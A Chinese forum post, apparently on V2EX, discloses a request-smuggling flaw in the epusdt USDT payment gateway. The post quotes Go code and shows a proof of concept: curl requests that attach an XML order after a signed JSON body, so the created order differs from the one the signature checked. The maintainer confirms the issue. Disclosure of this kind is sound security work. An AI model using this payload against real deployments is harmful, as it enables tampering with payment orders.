省流:不能零元购
先看一看这一段检查签名的 middleware:
// https://github.com/assimon/epusdt/blob/master/src/middleware/check_sign.go
func CheckApiSign() echo.MiddlewareFunc {
return func(next echo.HandlerFunc) echo.HandlerFunc {
return func(ctx echo.Context) error {
// 先读取所有 Body 内容
params, err := ioutil.ReadAll(ctx.Request().Body)
if err != nil {
return constant.SignatureErr
}
// 解码 JSON
// 注意这里:go 的 json 解码是不管 json 后面的垃圾数据的
m := make(map[string]interface{})
err = json.Cjson.Unmarshal(params, &m) // err 被忽略了
// 这里的 signature 可以是任意类型
signature, ok := m["signature"]
if !ok {
return constant.SignatureErr
}
// 计算 signature
checkSignature, err := sign.Get(m, config.GetApiAuthToken())
if err != nil {
return constant.SignatureErr
}
// 虽然 signature 可以是任意类型,但是这里应该是安全的
// 因为 go 没有 js 双等于号的自动类型转换
if checkSignature != signature {
return constant.SignatureErr
}
// 重置 Body
// 注意 JSON 后面的垃圾数据会被保留
ctx.Request().Body = ioutil.NopCloser(bytes.NewBuffer(params))
return next(ctx)
}
}
}
middleware 后面的 controller:
// https://github.com/assimon/epusdt/blob/master/src/model/request/order_request.go
type CreateTransactionRequest struct {
OrderId string `json:"order_id" validate:"required|maxLen:32"`
Amount float64 `json:"amount" validate:"required|isFloat|gt:0.01"`
NotifyUrl string `json:"notify_url" validate:"required"`
Signature string `json:"signature" validate:"required"`
RedirectUrl string `json:"redirect_url"`
}
// https://github.com/assimon/epusdt/blob/master/src/controller/comm/order_controller.go
func (c *BaseCommController) CreateTransaction(ctx echo.Context) (err error) {
req := new(request.CreateTransactionRequest)
// 这里用到了 echo.Context.Bind
if err = ctx.Bind(req); err != nil {
return c.FailJson(ctx, constant.ParamsMarshalErr)
}
if err = c.ValidateStruct(ctx, req); err != nil {
return c.FailJson(ctx, err)
}
resp, err := service.CreateTransaction(req)
if err != nil {
return c.FailJson(ctx, err)
}
return c.SucJson(ctx, resp)
}
echo.Context.Bind 支持多种 mimetype ,所以说应用层可以是 XML 编码,签名是 JSON 编码
// https://github.com/labstack/echo/blob/9e73691837f52c7fdf4898cbe5bf1d157387bdb0/bind.go#L68
func (b *DefaultBinder) BindBody(c Context, i interface{}) (err error) {
req := c.Request()
if req.ContentLength <= 0 {
return
}
// mediatype is found like `mime.ParseMediaType()` does it
base, _, _ := strings.Cut(req.Header.Get(HeaderContentType), ";")
mediatype := strings.TrimSpace(base)
switch mediatype {
case MIMEApplicationJSON:
case MIMEApplicationXML, MIMETextXML:
if err = xml.NewDecoder(req.Body).Decode(i); err != nil {
if ute, ok := err.(*xml.UnsupportedTypeError); ok {
return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Unsupported type error: type=%v, error=%v", ute.Type, ute.Error())).SetInternal(err)
} else if se, ok := err.(*xml.SyntaxError); ok {
return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Syntax error: line=%v, error=%v", se.Line, se.Error())).SetInternal(err)
}
return NewHTTPError( http.StatusBadRequest, err.Error()).SetInternal(err)
}
case MIMEApplicationForm:
...
case MIMEMultipartForm:
...
default:
return ErrUnsupportedMediaType
}
return nil
}
假设我们已经拿到了一个合法的请求:
curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}" -H "Content-Type: application/json" http://127.0.0.1:8000/api/v1/order/create-transaction
那么就可以把 Content-Type
改称 application/xml
,在 JSON 的后面附加上 XML 的请求。检查签名时会忽略后面的 XML 。
curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}<P><OrderId>3</OrderId><Amount>99.9</Amount><NotifyUrl>https://example.com</NotifyUrl><RedirectUrl>https://example.com</RedirectUrl><Signature>1</Signature></P>" -H "Content-Type: application/xml" http://127.0.0.1:8000/api/v1/order/create-transaction
{"status_code":200,"message":"success","data":{"trade_id":"2024***","order_id":"3","amount":99.9,"actual_amount":13.78,"token":"***","expiration_time":***,"payment_url":"https://example.com/pay/checkout-counter/2024***"},"request_id":"***"}
在检查签名的时候会用到前面的 JSON ,所以这个请求可以通过签名验证。但是在 controller 会把 Body 当成 XML 来解码,所以实际创建的订单的参数是后面的 XML 。
这个漏洞没啥用,因为一般情况下是拿不到合法的请求的
1
assimon 19 天前
嗯,这的确是一个问题,但是如果没有 apitoken 没有泄露的话,无论如何验签那一步是过不了的,所以后面的 xml 也不会被处理。
不过还是感谢反馈,我抽空会更新掉。🙏 |